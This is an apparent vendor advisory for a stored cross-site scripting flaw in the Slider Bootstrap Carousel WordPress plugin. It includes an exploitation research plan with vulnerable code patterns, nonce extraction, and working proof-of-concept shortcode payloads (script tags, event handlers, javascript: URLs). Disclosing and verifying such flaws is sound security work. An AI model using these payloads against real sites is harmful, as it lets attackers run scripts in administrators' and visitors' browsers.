Slider Bootstrap Carousel <= 1.0.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The Slider Bootstrap Carousel plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'category' and 'template' shortcode attributes in all versions up to and including 1.0.7. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. The plugin uses extract() on shortcode_atts() to parse attributes, then directly outputs the $category variable into multiple HTML attributes (id, data-target, href) on lines 38, 47, 109, and 113 without applying esc_attr(). Similarly, the $template attribute flows into a class attribute on line 93 without escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.0.7# Exploitation Research Plan: CVE-2026-4076 ## 1. Vulnerability Summary The **Slider Bootstrap Carousel** plugin for WordPress (versions <= 1.0.7) is vulnerable to **Stored Cross-Site Scripting (XSS)** via shortcode attributes. The plugin uses `extract()` on the results of `shortcode_atts()` to pro…
Show full research plan
Exploitation Research Plan: CVE-2026-4076
1. Vulnerability Summary
The Slider Bootstrap Carousel plugin for WordPress (versions <= 1.0.7) is vulnerable to Stored Cross-Site Scripting (XSS) via shortcode attributes. The plugin uses extract() on the results of shortcode_atts() to process user-supplied attributes like category and template. These variables are subsequently echoed directly into HTML attributes (id, data-target, href, and class) within the frontend output without being passed through escaping functions like esc_attr(). This allows a user with Contributor-level permissions or higher to inject malicious JavaScript into a post or page, which will execute in the context of any user (including administrators) who views that content.
2. Attack Vector Analysis
- Shortcode Name:
[slider-bootstrap-carousel](inferred from plugin slug). - Vulnerable Attributes:
categoryandtemplate. - Authentication Level: Authenticated (Contributor+). Contributors can create posts and insert shortcodes but lack the
unfiltered_htmlcapability, making this a privilege escalation in terms of script execution. - Endpoint: Post/Page editor (
/wp-admin/post-new.phpor/wp-admin/post.php). - Payload Delivery: The payload is embedded within the shortcode attributes saved in the
post_contentfield of a WordPress post. - Sink Contexts:
category: Echoed intoid,data-target, andhref.template: Echoed into aclassattribute.
3. Code Flow
- Entry Point: A user with Contributor permissions saves a post containing the shortcode:
[slider-bootstrap-carousel category='payload']. - Shortcode Registration: The plugin registers the shortcode (likely in the main file or a shortcode-specific include) using
add_shortcode(). - Parsing (Vulnerable): The callback function for the shortcode uses
shortcode_atts()to define defaults and thenextract()to turn keys into local variables.// Representative vulnerable code pattern function slider_shortcode_callback( $atts ) { extract( shortcode_atts( array( 'category' => '', 'template' => 'default', ), $atts ) ); // ... - Execution/Sink:
- Line 38/47/109/113: The
$categoryvariable is echoed into attributes:<div id="<?php echo $category; ?>" data-target="#<?php echo $category; ?>"><a href="#<?php echo $category; ?>"> - Line 93: The
$templatevariable is echoed into a class:<div class="carousel <?php echo $template; ?>">
- Line 38/47/109/113: The
- Output: Since no
esc_attr()orsanitize_text_field()is applied, the payload breaks out of the HTML attribute and injects a script tag.
4. Nonce Acquisition Strategy
This vulnerability is exploited by saving a standard WordPress post/page. There are no plugin-specific nonces required to trigger the shortcode processing.
To save the post as a Contributor:
- Use
browser_navigateto go to/wp-admin/post-new.php. - The standard WordPress
_wpnonceand_wp_http_refererare generated by the core post editor. - The PoC agent should use
browser_typeorbrowser_clickto interact with the editor and save the post, or extract the_wpnoncefrom the page source if attempting a directhttp_requesttowp-admin/post.php.
Variable extraction for Post Nonce:
// To be run via browser_eval on the post-new.php page
window._wpnonce || document.querySelector('#_wpnonce')?.value
5. Exploitation Strategy
- Authentication: Log in to the WordPress instance as a Contributor.
- Payload Preparation:
- Payload A (Category):
"><script>alert('XSS_CATEGORY')</script> - Payload B (Template):
"><script>alert('XSS_TEMPLATE')</script>
- Payload A (Category):
- Post Creation:
- Create a new post.
- Set the content to:
[slider-bootstrap-carousel category='"><script>alert("XSS_CATEGORY")</script>' template='"><script>alert("XSS_TEMPLATE")</script>'] - Publish/Submit the post for review.
- Triggering:
- Log in as an Administrator.
- Navigate to the URL of the newly created post (or view it in the preview).
- Verification: Check if the browser executes the
alert()calls.
6. Test Data Setup
- User: Create a user with the username
contributor_testand rolecontributor. - Plugin: Ensure
slider-bootstrap-carouselversion <= 1.0.7 is installed and active. - Post Content:
Check out this carousel: [slider-bootstrap-carousel category='carousel-1"><script>console.log("CVE-2026-4076-CAT")</script>' template='tpl"><script>console.log("CVE-2026-4076-TPL")</script>']
7. Expected Results
- When the post is rendered, the HTML source should look similar to:
<div id="carousel-1"><script>console.log("CVE-2026-4076-CAT")</script>" data-target="#carousel-1... <div class="carousel tpl"><script>console.log("CVE-2026-4076-TPL")</script>"> - The browser console should show
CVE-2026-4076-CATandCVE-2026-4076-TPL.
8. Verification Steps
- Database Check: Verify the payload is stored in the
wp_poststable.wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test Post'" - HTML Inspection: Use
http_requestto fetch the post content and grep for the raw payload.# Assuming post ID is 123 http_request GET "/?p=123" | grep "script" - Role Verification: Confirm the user who created the post does not have
unfiltered_html.
(Expected: empty output)wp user cap list contributor_test | grep unfiltered_html
9. Alternative Approaches
- Event Handler Injection: If
<script>tags are stripped by a WAF, use event handlers:category='x" onmouseover="alert(1)" x="' - Attribute Breakout: If the plugin wraps values in single quotes instead of double quotes, adjust the payload:
category="x'><script>alert(1)</script>" - URL-based Trigger: If the
categoryattribute is used inside anhrefashref="#$category", try thejavascript:protocol:category='javascript:alert(1)'(Note:href="#javascript:..."might fail, so breakout is preferred).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.